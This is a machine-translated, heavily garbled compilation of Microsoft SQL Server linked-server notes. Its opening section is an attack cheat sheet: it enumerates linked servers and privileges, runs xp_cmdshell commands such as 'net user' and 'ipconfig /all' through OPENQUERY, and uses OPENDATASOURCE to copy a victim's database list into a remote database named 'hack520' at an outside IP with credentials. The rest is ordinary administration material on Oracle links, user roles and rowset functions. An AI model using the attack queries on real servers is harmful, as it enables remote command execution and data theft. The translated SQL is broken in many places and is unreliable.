e,isremote,rpc,dataaccess from master.dbo.sysservers seçmek
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Query linkserver2 select distinct hostname,db_name(dbid),net_address,loginame,program_name from
Usta.. sysprocesses
Linksunucuyu sorgulayın ve diğer giriş yapmış kullanıcılar [192.168.1.1].master.dbo.syslogins from * seç
Query linkserver Tüm veritabanları linkedSrvWeb.master.dbo.sysdatabases arasından * seç
LinkServer'da genişletilmiş depolama gerçekleştir exec [ip].master.dbo.xp_cmdshell
Linkserver'daki tüm tabloları sorgulayın [ip].master.dbo.sysobjects from * seç
OpenRowset'ten * seç
('sqloledb','server=IP; uid=kullanıcı; pwd=password','select @@version')
openquery([LINKSERVER'den) * seç
name],'select @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
openquery(GM_SERVER,'select* from sysobjects'ten seç * burada xtype = (''U'')')
Seç *
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
select * from openquery(toatdeweb,'select
srvname master.dbo.sysservers' albümüdür)
OpenDatasource'a ekle
('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
ism, master.dbo.sysdatabases'ten database oluştur hack520 Tablo oluştur zhu(name nvarchar(256)
null); TABLO J8(id int NULL,name nvarchar(256) null) oluştur);
OpenQuery'den * seç
(toatdeweb, 'FMTLonly Off Exec master.dbo.xp_cmdshell ''net kullanıcı''')
Yönetici Üsta.. xp_dirtree
'c:\',1,1 Bir sorgu dizini gerçekleştirin
exec links.master.. xp_cmdshell 'ipconfig'
select * from openquery(toatdeweb,'set
FMTLi Off Exec master.dbo.xp_cmdshell ''ipconfig /all''')
Mem_DB'dan mysql Select * bağlayın. UserDB.dbo.AdminList
YÖNETICI USTA.. XP_dirtree 'c:\',1,1
Yönetici
master.dbo.xp_cmdshell 'dir'
[göster] noktasından count(*) seç Mevcut tabloda ne kadar veri olduğunu sorgulayın
select distinct hostname,db_name(dbid),net_address,loginame,program_name
Ustadan.. sysprocesses
GameDB01'den * seçin. Server01.dbo.cabal_character_table nerede isim='
Domuz'
Sildiğinizde şöyle der: Veritabanı kullanılıyor ve silinemiyor.
Silmek istediğiniz veritabanına tıklayarak Olay Görüntüleyici'yi açın.
Giriş:
Kullanım
Usta Git Sonra aşağıdakileri girin: @d varchar ilan edecek(8000) set @d= ' ' select @d=@d+ ' öldür
'+cast(varchar olarak spid)+char(13) Ustadan.. sysprocesses'ler burada dbid=db_id('kütüphane adı') exec(@d) -- Önce bu veritabanına bağlanan süreci silmek için kod kullanın
MSSQL, Oracle'ı LinkServer üzerinden işletiyor
1) Oracle'ı SQL_SERVER 2005 sunucusuna kur
9i müşterisi. Diyelim ki C:\ora92i\ dizinine kuralım. D: bir NTFS bölümüyse, kullanılan dizinle ORACLE kurulu dizinini ayarlamanız gerekir
Aboneler çalıştırma, ekleme ve silme hakkına sahiptir.
2) C:\ora92i\network\ADMIN\tnsnames.ora dosyasını yapılandırın. (Aşağıdaki kırmızı metin bir yapılandırma örneğidir)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADRES = (PROTOKOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) DOS modunda aşağıdaki komutu çalıştırarak ORACLE istemcisinin doğru kurulduğunu doğrulayın.
sqlplus kullanıcısı/password@ORCL
4) Start - Control Panel - Hizmetler açın ve Dağıtık İşlem Koordinatörü hizmetinin başlatıldığını doğrulayın.
5) SQL SERVER Yönetim Stüdyosu'nu aç, Örnek Adı (ORCL) - Sunucu Nesnesi (sağ tıklama) - Yeni Bağlantı Sunucusu.
1.
Bağlantı sunucusu: Bağlanmış sunucunun adını yazın, örneğin OracleTest
2. Sunucu türü, farklı bir veri kaynağı seçin
3. Erişim Arayüzü: Select Oracle Provider for OLE DB
4. Ürün Adı: Oracle Yaz
5. Veri kaynağı: Yazın
tnsnames.ora dosyasında yapılandırılan hizmet adı, örneğin ORCL
6. Access interface dizisi: userid=sys as sysdba; password=password
7. Güvenlik Seçeneklerini Seç sayfasında, bağlantı kurmak için bu kurulum bağlamını kullanın:
a) Uzaktan Giriş: kullanıcı (diğer kullanıcı, sistem sistemi değil)
b)
Şifre: şifre kullanın
8. Yerel giriş ve uzak kullanıcı sisteminde "NT AUTHORITY\SYSTEM" ayarlayın ve şifreyi ayarlayın
9.
Emin misiniz
6) SQL yazmanın iki yolu vardır
a) T-SQL sözdizimi kullanımı:
SEÇ *
OraTest.ERP.BAS_ITEM_CLASS
SQL Query Analyzer'a SQL ifadesi girerken Çin tam genişlik ve yarı genişlik anahtarlamalarına dikkat edin.
Way!
b) PLSQL sözdizimini kullanın: OPEN query'den * SEÇ (OraTest,'SEÇ * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) İkinci erişim yöntemi birincisinden yaklaşık %50 daha hızlıdır; İkinci erişim yöntemi doğrudan bağlantılıdır
ORACLE karşılaştırılabilir; İlk erişim yöntemi, aşağıdaki gibi beklenmedik hatalara yol açabilir: Tablo ya da mevcut kullanıcı yoktur
Masaya erişim yok ve benzeri.
d) Erişilmesi gereken sütun veri tiplerini kesinlik olmadan kullanıyorsa, bunların ikisi de
Bu, ORACLE'da düzeltilemeyen bir hatadır ve yalnızca sorgu ilamalarının özel olarak işlenmesiyle önlenebilir:
OLE DB sağlayıcısı 'OraOLEDB.Oracle' tarafından sağlanan meta veriler sütunlar için tutarsızdır. Meta veri bilgileri yürütme sırasında değiştirilir.
MSSQL ekledi
Kullanıcıyı sil ve izin ver
Kütüphane adınızı kullanın Git --Kullanıcı ekle Exec sp_addlogin 'test' -- giriş ekle yönetici
sp_grantdbaccess N'test' - mevcut veritabanının meşru bir kullanıcısı haline getiriliyor sp_addrolemember N'db_owner' yöneticisi,
N'test' - tüm izinleri kendi veritabanına verir --Bu, yalnızca kendi veritabanlarına ve veritabanına dahil edilenlere erişebilen kullanıcılar yaratır
Konuk kullanıcılar için açık tablo Git --Test kullanıcısını kaldır exec sp_revokedbaccess N'test' -- Veritabanına erişimi kaldır
Limit exec sp_droplogin N'test' -- girişi sil Eğer Enterprise Manager'da oluşturuyorsanız, şunları kullanın: Kurumsal Yönetici - Güvenlik
Seks --Sağ tıkla Giriş Girişi--Yeni Giriş Genel maddeler --İsme kullanıcı adını girin
--Kimlik doğrulama yöntemi ihtiyaçlarınıza göre seçilir (Windows kimlik doğrulaması kullanıyorsanız, önce işletim sistemi kullanıcıları arasında yeni bir kullanıcı oluşturmanız gerekir)
--Varsayılan ayarlarda, yeni kullanıcı için erişmek istediğiniz veritabanı adını seçin Sunucu rol öğesi Burada hiçbir şey seçme veritabanı
Erişim öğesi Oluşturduğunuz kullanıcı için erişmek istediğiniz veritabanının adını kontrol edin Veritabanı rolünde izin verin, "public", "db_ownew" işaretlerini işaretleyin Tabii, bu
Örnek tarafından oluşturulan kullanıcı, yukarıdaki ifadeyle oluşturulan kullanıcıyla aynıdır
Son adım, belirli kullanıcılar için özel erişim izinleri belirlemektir; bunlar aşağıdaki minimal örneğe atıfta bulunabilir:
--Sadece belirtilen tabloya erişebilen kullanıcıları ekleyin: yönetici sp_addlogin 'kullanıcı adı', 'şifre', 'varsayılan veritabanı adı'
--veritabanına ekle yönetici sp_grantdbaccess 'kullanıcı adı'
--Tüm tablo izinlerini atama SEÇ , EKLE , GÜNCELLEME , SIL TABLO 1'DE [kullanıcı adı] --Belirli sütunlara yetki atama SEÇİMİ VER, TABLE1(id,AA) GÜNCELLEMESİ [kullanıcı adı] OLARAK
Belirli güvenlik ayarları ve teorik bilgi için lütfen SQL Online Yardım'a bakınız
Sabit veritabanı rol tanımı db_owner Veritabanında tam izinlere sahibim.
db_accessadmin Kullanıcı kimlikleri ekleyebilir veya kaldırabilirsiniz.
db_securityadmin Tam izinleri, nesne sahipliğini, rolleri ve rol üyeliklerini yönetebilir.
db_ddladmin TÜM DDL verebilir, ancak VER, RED veya RED bildirimlerini veremez.
db_backupoperator DBCC, CHECKPOINT ve BACKUP özetleri verebilir.
db_datareader Veritabanındaki herhangi bir kullanıcı tablosundan tüm verileri seçebilirsiniz.
db_datawriter Veritabanındaki herhangi bir kullanıcı tablosunda tüm verileri değiştirebilirsiniz.
db_denydatareader Veritabanındaki herhangi bir kullanıcı tablosundan veri seçemezsiniz.
db_denydatawriter Veritabanındaki hiçbir kullanıcı tablosunda veri değiştiremezsiniz.
db_datareader, db_datawriter, db_accessadmin seçmelisiniz
5. SQL Server örneği tek kullanıcı modunda başlatıldıktan sonra, Windows yönetici hesabı sqlcmd aracını kullanarak Windows kimlik doğrulama moduna bağlanabilir
SQL Server。 "sp_addsrvrolemember" gibi T-SQL komutlarını kullanarak mevcut bir girişi sistem yöneticisi sunucusu rolüne ekleyebilirsiniz
ya da yeni bir giriş hesabı oluşturabilirsiniz. Bir örnek ifade şöyledir:
YÖNETICI sp_addsrvrolemember 'CONTOSO\Buck', 'sistem yöneticisi';
GIT
Bir sistem yöneticisi ayrıcalığı ekle
(1) Sunucu rollerini yönetin
SQL Server'da, SQL Server rol yönetimini uygulayan iki ana depolanmış prosedür vardır:
sp_addsrvrolemember
ve sp_dropsrvrolemember
sp_addsrvrolemember Bir sunucu rolüne giriş hesabı ekleyerek onu o sunucu rolünün üyesi yapabilirsiniz. Sözdizimi şöyledir: sp_addsrvrolemember
giriş , rol
sp_dropsrvrolemember Sunucu rolünden giriş hesabını silebilirsiniz ve üye sunucu rolünden çıkarıldığında, artık o sunucu rolü kalmaz
İzinler ayarlandı. Sözdizimi şöyledir: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
Buna
@loginname, giriş yapan kullanıcının adıdır; @rolename sunucu rolü.
(2) Veritabanı rollerini yönetin
SQL Server'da veritabanı yönetimi desteklenmektedir
Altı ana depolanmış prosedür türü vardır ve onların özel anlamları ile sözdizimi şunlardır:
sp_addrole: Yeni bir veritabanı rolü oluşturmak için kullanıldı; sp_addrole
Rol, Sahibi
sp_droprole: Mevcut veritabanı rolünden bir veritabanı rolünü kaldırmak için kullanılır; sp_droprole rolü
sp_helprole:
Mevcut veritabanındaki tüm veritabanı rollerine dair tüm bilgileri göstermek için kullanılır; sp_helprole ['rol']
sp_addrolemember: Veritabanına göndermek için kullanılır
Veritabanı kullanıcılarını bir role ekleyin; bunlar kullanıcı tanımlı standart roller veya sabit veritabanı rolleri olabilir, ancak bu rol olamaz.
Uygulama rolleri. sp_addrolemember rol, security_account
sp_droprolemember: Belirli bir karakteri silmek için kullanılır
hane; sp_droprolemember rol, security_account
sp_helprolemember: Bir veritabanı rolünün tüm üyelerini görüntülemek için kullanılır
。 sp_helprolemember ['rol']
MSSQL LINKSERVER query
---------------------------------------------------------------------------------- -- Yazar :
htl258(Tony) -- Tarih: 2010-06-25 22:23:18 -- Sürüm: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 Temmuz 2008 14:43:34 -- Telif Hakkı (c) 1988-2008 Microsoft Corporation --
Windows NT 5.1 için Geliştirici Sürümü (Build 2600: Service Pack 2) -- Blog : -- Konu: Farklı sunucu veritabanları arasında SQL veri işlemleri ---------------------------------------------------------------------------------- --1. Bir bağlantı sunucusu oluştur --1.1 Bir bağlantı adı oluştur EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' uzak sunucu adı
ya da IP adresi' -- Özel bir örnek adınız varsa, "\instance name" ekleyin.
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Bir giriş oluşturun (veya bir bağlantı sunucusu giriş haritası oluşturun) (sadece bir yol seçin) --1.2.1 Windows kimlik doğrulama ile giriş yapın YÖNETİCİ sp_addlinkedsrvlogin 'LinkName' --ya da EXEC sp_addlinkedsrvlogin 'LinkName', 'doğru'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 SQL kimlik doğrulama ile giriş yapın YÖNETICI sp_addlinkedsrvlogin 'LinkName','false',NULL,'Username','Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */ --2. Sunucu ile ilgili veri işlemlerini bağlantılı --2.1 Sorgu örneği SEÇ * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
FROM TonyLink.Mydb.dbo.tb */ -- 2.2 İtçe etme örneği SELECT* INTO tablo adı FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
FROM TonyLink.Mydb.dbo.tb */ -- 2.3 Güncelleme örneği GÜNCELLEME LinkName.Database Name.Schema Name.Table Name SET alan='değer' WHERE alan='koşul'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Kişiler='g' NEREDE Kişiler='a' */ -- 2.4 Örnekleri sil SIL LinkName.Database Name.Schema Name.Table Name WHERE alan adı='koşul'
/*例如:DELETE
TonyLink.Mydb.dbo.tb NEREDE Kişiler='g' */ --3 satir kümesi fonksiyonu (OPENQUERY/OPENROWSET/OPENDATASOURCE) aracılığıyla alındı.
Yöntem
- 3.1 OPENQUERY yöntemi (yeni oluşturduğunuz bağlantı sunucusunun yardımını gerektirir): -- 3.1.1 Sorgu örneği OPENQUERY'den * SEÇİN(LinkName, 'SEÇ * FROM veritabanı adından'. Mimari adı. tablo adı')
/* Örneğin: OPEN QUERY'den * SEÇ (TonyLink, 'Mydb.dbo.tb'den SEÇ * SEÇ') */ -- 3.1.2 İtrak Örnekleri --3.1.2.1 Tüm sütunları içe aktar OPENQUERY(LinkName, 'SELECT * FROM veritabanı adını. Mimari adı. Tablo adı
') YEREL tablodan * SEÇ
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
TB'den */ --3.1.2.2 Belirtilen sütunları içe aktarın OPENQUERY(LinkName, 'SELECT * FROM veritabanı adını. Mimari adı. tablo adı') (sütun, sütun...) SELECT sütunu,
Sütun... YEREL tablodan
/* Örneğin: OPEN QUERY(TonyLink,'SEÇ * FROM Mydb.dbo.tb')(RANGE,LEVEL,Kişiler) SEÇMEK
ARALIK, SEVIYE, Tüberkülasyondan kişiler */ --3.1.3 Güncelleme örnekleri AÇİKİRLİ GÜNCELLEME (LinkName, 'SEÇ * FROM veritabanı adını. Mimari adı. tablo adı') SET alanı = 'değer' NEREDE kelimesi
Segment = 'Durum'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Kişiler='a' */ --3.1.4 Örnekleri sil SIL OPENQUERY(LinkName, 'SEÇ * FROM veritabanı adından. Mimari adı. tablo adı') WHERE alan adı='koşul'
/*例
Örneğin: OPEN QUERY(TonyLink, 'Mydb.dbo.tb'den SEÇ * SEÇ') NEREDE Kişiler='g' */ --3.2 OPENROWSET yöntemi (oluşturulmuş bağlantı adını kullanmanıza gerek yok.) Bağlı örnek adı varsayılan değilse, sql sunucu adı veya IP adresi olarak ayarlamanız gerekir.
"\instance name") --3.2.1 Sorgu örneği --3.2.1.1 Windows kimlik doğrulama yöntemi sorgusu (aşağıdaki yöntemlerden biri yeterlidir) OPENROWSET('SQLOLEDB', 'server=sql sunucu adından veya
IP adresi; Trusted_Connection=evet', veritabanı adı. Mimari adı. Tablo adı) OPENROWSET('SQLNCLI') IÇINDEN * SEÇ,
'server=sql sunucu adı veya IP adresi; Trusted_Connection=evet', veritabanı adı. Mimari adı. Tablo adı) SEÇ *
OPENROWSET('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; Trusted_Connection=evet','SEÇ * FROM veritabanından
İsim. Mimari adı. tablo adı') OPENROWSET('SQLNCLI', 'sunucu=sql sunucu adı veya IP adresi'nden * SEÇİN.
Adres; Trusted_Connection=evet','SELECT * FROM veritabanı adı. Mimari adı. tablo adı')
/* Örneğin: OPENROWSET'TEN * SEÇ
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=evet', Mydb.dbo.tb)
Ya da: OPENROWSET'TEN * SEÇ
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=evet', Mydb.dbo.tb)
Ya da: OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=evet','SEÇ *
Mydb.dbo.tb'den)
Ve: OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=evet','SEÇ *
Mydb.dbo.tb'den) */ --3.2.1.2 SQL Kimlik Doğrulama Yöntemi Sorgulası (Aşağıdaki yöntemlerden biri yeterlidir) OPENROWSET'TEN * SEÇ
('SQLOLEDB', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password', veritabanı adı. Mimari adı. Tablo adı) SEÇ *
OPENROWSET('SQLNCLI', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password', veritabanı adı. Mimari adı. Tablo adı) OPENROWSET('SQLOLEDB', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password','SELECT *
Veritabanı adından FROM. Mimari adı. tablo adı') OPENROWSET('SQLNCLI', 'sunucu=sql sunucu adı veya IP adresi; uid=
Kullanıcı adı; pwd=password','SELECT * FROM veritabanı adı. Mimari adı. tablo adı') OPENROWSET('sqloledb', 'sql arasından) * SEÇİN
sunucu adı'; 'kullanıcı adı'; 'şifre', veritabanı adı. Mimari adı. Tablo adı) OPENROWSET('SQLNCLI', 'SQL SUNUCU ADI'NDAN * SEÇ
'; 'kullanıcı adı'; 'şifre', veritabanı adı. Mimari adı. Tablo adı) OPENROWSET('SQLOLEDB', 'SQL SUNUCU ADI'; ' kullanıcı
isim'; 'Şifre', 'SEÇ * FROM veritabanı adını. Mimari adı. tablo adı') OPENROWSET('sqlncli', 'sql sunucu) SEÇİNİZ
isim'; 'kullanıcı adı'; 'Şifre', 'SEÇ * FROM veritabanı adını. Mimari adı. tablo adı')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Ya da: OPENROWSET'TEN * SEÇ
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Ya da: OPENROWSET'TEN * SEÇ
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SEÇ * FROM Mydb.dbo.tb')
ve: OPENROWSET('SQLNCLI','server=192.168.58.208 arasından * SEÇİ; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
ve: OPENROWSET'TEN * SEÇ ('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
VEYA: OPENROWSET'TEN * SEÇ ('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
ve: OPENROWSET'TEN * SEÇ ('SQLOLEDB','192.168.58.208'; 'sa'; '123','SEÇ * Mydb.dbo.tb')
VEYA: OPENROWSET'TEN * SEÇ ('SQLNCLI','192.168.58.208'; 'sa'; '123','SEÇ * Mydb.dbo.tb') */ --3.2.2 İtçe örnek --3.2.2.1 Tüm sütunları içe aktar INSERT OPENROWSET('SQLOLEDB', 'server=sql sunucu adı veya IP adresi
Adres; uid=kullanıcı adı; pwd=password', veritabanı adı. Mimari adı. Tablo adı) YEREL TABLODAN * SEÇ
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SEÇ * TB'den */ --3.2.2.2 İç aktarma
Sütunları belirtin INSERT OPENROWSET('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password', veritabanı adı. raf
Yapı adı. tablo adı) (sütun, sütun...) SELECT sütun, sütun... YEREL tablodan
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ARALIK,SEVIYE,Kişiler) SEÇMEK
ARALIK, SEVIYE, Tüberkülasyondan kişiler */ --Not: Daha fazla alternatif yöntem için .2.1 sorgu örneğine bakınız, sadece OPENROWSET fonksiyonunu değiştirin
Içerik yeterli. --3.2.3 Güncelleme örneği OPENROWSET('sqloledb', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı
;p wd=password', veritabanı adı. Mimari adı. Tablo adı) SET alanı = 'değer' WHERE alanı = 'koşul'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Kişiler='g' NEREDE Kişiler='a' */ --Not: Daha fazla alternatif yöntem için .2.1 sorgu örneğine bakın, sadece içeriği OPENROWSET'teki değiştirin. --3.2.4 Göstergeyi sil
Örnek OPENROWSET('sqloledb', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password', veritabanı adı. Şema adı
.tablo adı) WHERE alan adı='koşul'
/* Örneğin: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) BURADA
Kişiler='g' */ --Not: Daha fazla alternatif yöntem için .2.1 sorgu örneğine bakınız, sadece içeriği OPENROWSET'teki yerine koyun. --3.3 OPENDATASOURCE yöntemi
(Oluşturulan bağlantı adını kullanmanıza gerek yok.) Bağlantının örnek adı varsayılan değilse, sql sunucu adı veya IP adresinden sonra \instance name eklemeniz gerekir
") --3.3.1 Sorgu örneği --3.3.1.1 Windows Kimlik Doğrulama Yöntemi Sorgusu (Aşağıdaki yöntemlerden biri yeterlidir) OPENDATASOURCE('SQLOLEDB') IÇINDEN * SEÇIN,
'server=sql sunucu adı veya IP adresi; Trusted_Connection=evet'). Veritabanı adı. Mimari adı. Tablo adı SEÇ *
OPENDATASOURCE('SQLNCLI', 'server=sql sunucu adı veya IP adresi; Trusted_Connection=evet'). Veritabanı adı. Mimari adı.
Tablo adı
/* Örneğin: OPEN DATASOURCE'DAN * SEÇ
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=evet'). Mydb.dbo.tb
Ve: OPENDATASOURCE'DAN * SEÇ
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=evet'). Mydb.dbo.tb */ --3.3.1.2 SQL kimlik doğrulama yöntemi sorgusu (aşağıdaki yöntemlerden biri yeterlidir) OPENDATASOURCE'DAN * SEÇIN('SQLOLEDB', 'server=sql sunucu adı veya
IP adresi; uid=kullanıcı adı; pwd=password'). Veritabanı adı. Mimari adı. Tablo adı OPENDATASOURCE('SQLNCLI', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı
İsim; pwd=password'). Veritabanı adı. Mimari adı. Tablo adı OPEN DATASOURCE'DAN * SEÇ ('SQLOLEDB', 'Veri Kaynağı=sql sunucu adı veya IP adresi'
Adres; uid=kullanıcı adı; pwd=password'). Veritabanı adı. Mimari adı. Tablo adı OPENDATASOURCE'DAN * SEÇ ('SQLNCLI', 'Veri Kaynağı=sql sunucu adı veya IP adresi
Adres; uid=kullanıcı adı; pwd=password'). Veritabanı adı. Mimari adı. Tablo adı
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ya da: OPENDATASOURCE'DAN * SEÇIN('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ve: OPENDATASOURCE'DAN * SEÇ ('SQLOLEDB','Data
Kaynak=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ve: OPEN DATASOURCE'DAN * SEÇ ('SQLNCLI','Data
kaynak=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Tüm sütunları içe aktar INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password').
Kütüphanenin adına göre. Mimari adı. Tablo adı YEREL TABLODAN * SEÇ
/* Örneğin: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SEÇMEK
* TB'den */ --3.3.2.2 Belirtilen sütunları içe aktarın INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password').
Kütüphanenin adına göre. Mimari adı. Tablo adı (sütun, sütun...) SELECT sütun, sütun... YEREL tablodan
/* Örneğin: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(MENZIL, SEVIYE, Kişiler) BÖLGE, SEVIYE, Kişileri TB'den SEÇİN */ --Not: Daha fazla alternatif yöntem için .3.1 sorgu örneğine bakınız; sadece satır kümesi fonksiyonundaki içeriği (OPENDATASOURCE) değiştirin. --3.3.3 Güncelleme örneği OPENDATASOURCE'U GÜNDELEME ('SQLOLEDB', 'sunucu=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password'). Veritabanı adı. Mimari adı. Tablo adı SET alanı = 'değer' WHERE alanı = 'koşul'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Kişiler='g' NEREDE Kişiler='a' */ --Not: Daha fazla alternatif yöntem için .3.1 sorgu örneğine bakınız; sadece satır kümesi fonksiyonundaki içeriği (OPENDATASOURCE) değiştirin. --3.3.4 Örneği sil SIL OPENDATASOURCE('SQLOLEDB', 'server=sql sunucu adı veya IP adresi; uid=kullanıcı adı; pwd=password'). Veritabanı adı. Mimari adı. Tablo adı WHERE alan adı='koşul'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb NEREDE Kişiler='g' */ - Not: Daha fazla alternatif
.3.1 sorgu örneğine bakın, sadece içeriği sıralı küme fonksiyonunda (OPENDATASOURCE) değiştirin. -- Bağlı sunucu yöntemini sil --Gelecekte bağlantı bilgisini kullanmazsanız, bağlantı bilgilerini silebilirsiniz --4.1 Giriş bilgilerini sil (veya bağlı sunucu giriş adı haritasını sil) YÖNETİCİ sp_droplinkedsrvlogin 'LinkName', NULL
/* Örneğin: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Bağlantılı sunucu adını sil EXEC sp_dropserver 'LinkName', 'droplogins' -- droploginler belirtilmişse, Bağlantı kartı silinmeden önce giriş haritası silinmelidir
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Eklenmiş
: Sağlayıcı Adını (EXECUTIVE master) nasıl alınır? xp_enum_oledb_providers) CAST SEÇ([Sağlayıcı Adı] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion KAYNAK
OPENROWSET( 'SQLOLEDB', 'Sunucu=.; Trusted_Connection=evet', 'FMTONLY HAREKETE GEÇTI; YÖNETICI
Usta.. xp_enum_oledb_providers'
)
|